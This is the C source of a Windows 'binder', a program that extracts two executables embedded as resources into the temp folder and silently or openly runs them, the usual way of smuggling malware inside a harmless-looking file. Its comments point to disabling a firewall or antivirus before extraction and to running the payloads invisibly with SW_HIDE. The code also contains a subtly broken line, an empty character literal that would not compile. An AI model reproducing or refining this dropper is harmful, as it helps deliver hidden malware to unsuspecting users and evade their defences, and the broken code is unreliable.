A binder

#include <windows.h>
#include <stdlib.h>
#include "resource.h"
#include "stdafx.h"
/* define for microsoft compiler */
 
#define WIN32_LEAN_AND_MEAN
 
/* The Following 2 lines are the only 2 lines you have to do anything to! */
char File1Extention[] = "exe"; /* <--- Change to proper file extention!!! */
char File2Extention[] = "exe"; /* <--- Change to proper file extention!!! */
 
/* Global Variables */
 
HINSTANCE hInst;
 
/* Declare functions we're gonna use. */
 
void ExtractFile (unsigned short);
void RandomString(char *);
 
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	/* OK.. it all starts here */
	PeekMessage(0,0,0,0,0); /* Get rid of thinking pointer */ 
	hInst = hInstance; /* we need this later  */
 
	/* A hacker may use this part to disable a firewall or antivirus */
	/* program so the files they extract arent detected. */
 
	ExtractFile(TDFILE1); /* extract first file  */
	ExtractFile(TDFILE2); /* extract second file */
	return FALSE; /*  End of our program! */
}
 
/*
	Extract File Function
	I guess this is the main function.  It extracts the resource file to the temp dir...
	with a random name and the proper extention, and then executes it (or opens it).
	if you dont wanna execute em both.. then I reccomend that in this function you do a..
	i f (whichone == TDFILE1){ <execute or not exetute>; } ya know what I mean?
*/
 
void ExtractFile (unsigned short whichone)
{
	/* declare local variables */
 
	char tempfilename[13],TempDirBuff[MAX_PATH + 1],*ResourcePointer;
	unsigned long TempDirLen,ResourceSize,byteswritten;
	HRSRC ResourceLocation;
	HGLOBAL ResDataHandle;
	HANDLE FileHandle;
 
	/* Get Random String for file name */
	if (whichone == TDFILE1)
	{
		strcpy (tempfilename , "socket123");
	}else{
 
RandomString(tempfilename);
	}
	/* Next we get the Temp Dir */
	TempDirLen = GetTempPath(MAX_PATH + 1,TempDirBuff);
	/* now is where we make the full path so first we copy the file random file name after the temp dir path*/
	strncpy(&TempDirBuff[TempDirLen],tempfilename,9);
	/*next we add the period after the random file name*/
	TempDirBuff[TempDirLen + 9] = '.';
	/* now check to see which extention we're using  and copy it + it's null terminator to the TempDirBuff */
	if (whichone == TDFILE1)
	{
		strncpy(&TempDirBuff[TempDirLen + 10],File1Extention,(strlen(File1Extention) + 1));
	}
	else
	{
		strncpy(&TempDirBuff[TempDirLen + 10],File2Extention,(strlen(File2Extention) + 1));
	}
 
	/* Now we got the path we're gonna copy it to! */
	/* Now we get the location of our resource...  */
 
	ResourceLocation = FindResource(hInst,(const char *)whichone,RT_RCDATA);
	if (ResourceLocation == 0) { return; }
 
	/*Now get the size of the resource*/
 
	ResourceSize = SizeofResource(hInst,ResourceLocation);
	if (ResourceSize == 0) { return; }
 
	/*Now load it into global memory*/
 
	ResDataHandle = LoadResource(hInst,ResourceLocation);
	if (ResDataHandle == 0) { return; }
 
	/*Lock the Resource into memory and get a pointer to it!*/
 
	ResourcePointer = (char *)LockResource(ResDataHandle);
	if (ResourcePointer == 0) { return; }
 
	/* Now we create the file. */
 
	FileHandle = CreateFile(TempDirBuff,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
	if (FileHandle == INVALID_HANDLE_VALUE) { return; }
 
	/* Now We Write to the file */
 
	WriteFile(FileHandle,ResourcePointer,ResourceSize,&byteswritten,0);
 
	/* Now Close the file */
 
	CloseHandle(FileHandle);
 
	/* Now Open/Execute the file */
	/* I used SW_SHOW as the show paremeter, if you want it to run invisibly, try SW_HIDE */
 
	ShellExecute(NULL,NULL,TempDirBuff,NULL,NULL,SW_SHOW);
 
	return;
}
 
 
/*
	Random String Function
	I'm sure this random string function could be better, 
	but frankly.. I dont care, cuz it works fine.
*/
 
void RandomString(char *RandomStr)
{
	int i;
	srand( (unsigned)GetTickCount() );
	i=0;
	ZeroMemory(RandomStr,9);
	while(i < 9)
	{
		RandomStr[i] = rand();
		while (RandomStr[i] > 25)	{	RandomStr[i] -= 26;	}
		while (RandomStr[i] < 0)	{	RandomStr[i] += 26;	}
		RandomStr[i] += 97;
		i++;
	}
	RandomStr[9] = '';
	return;
}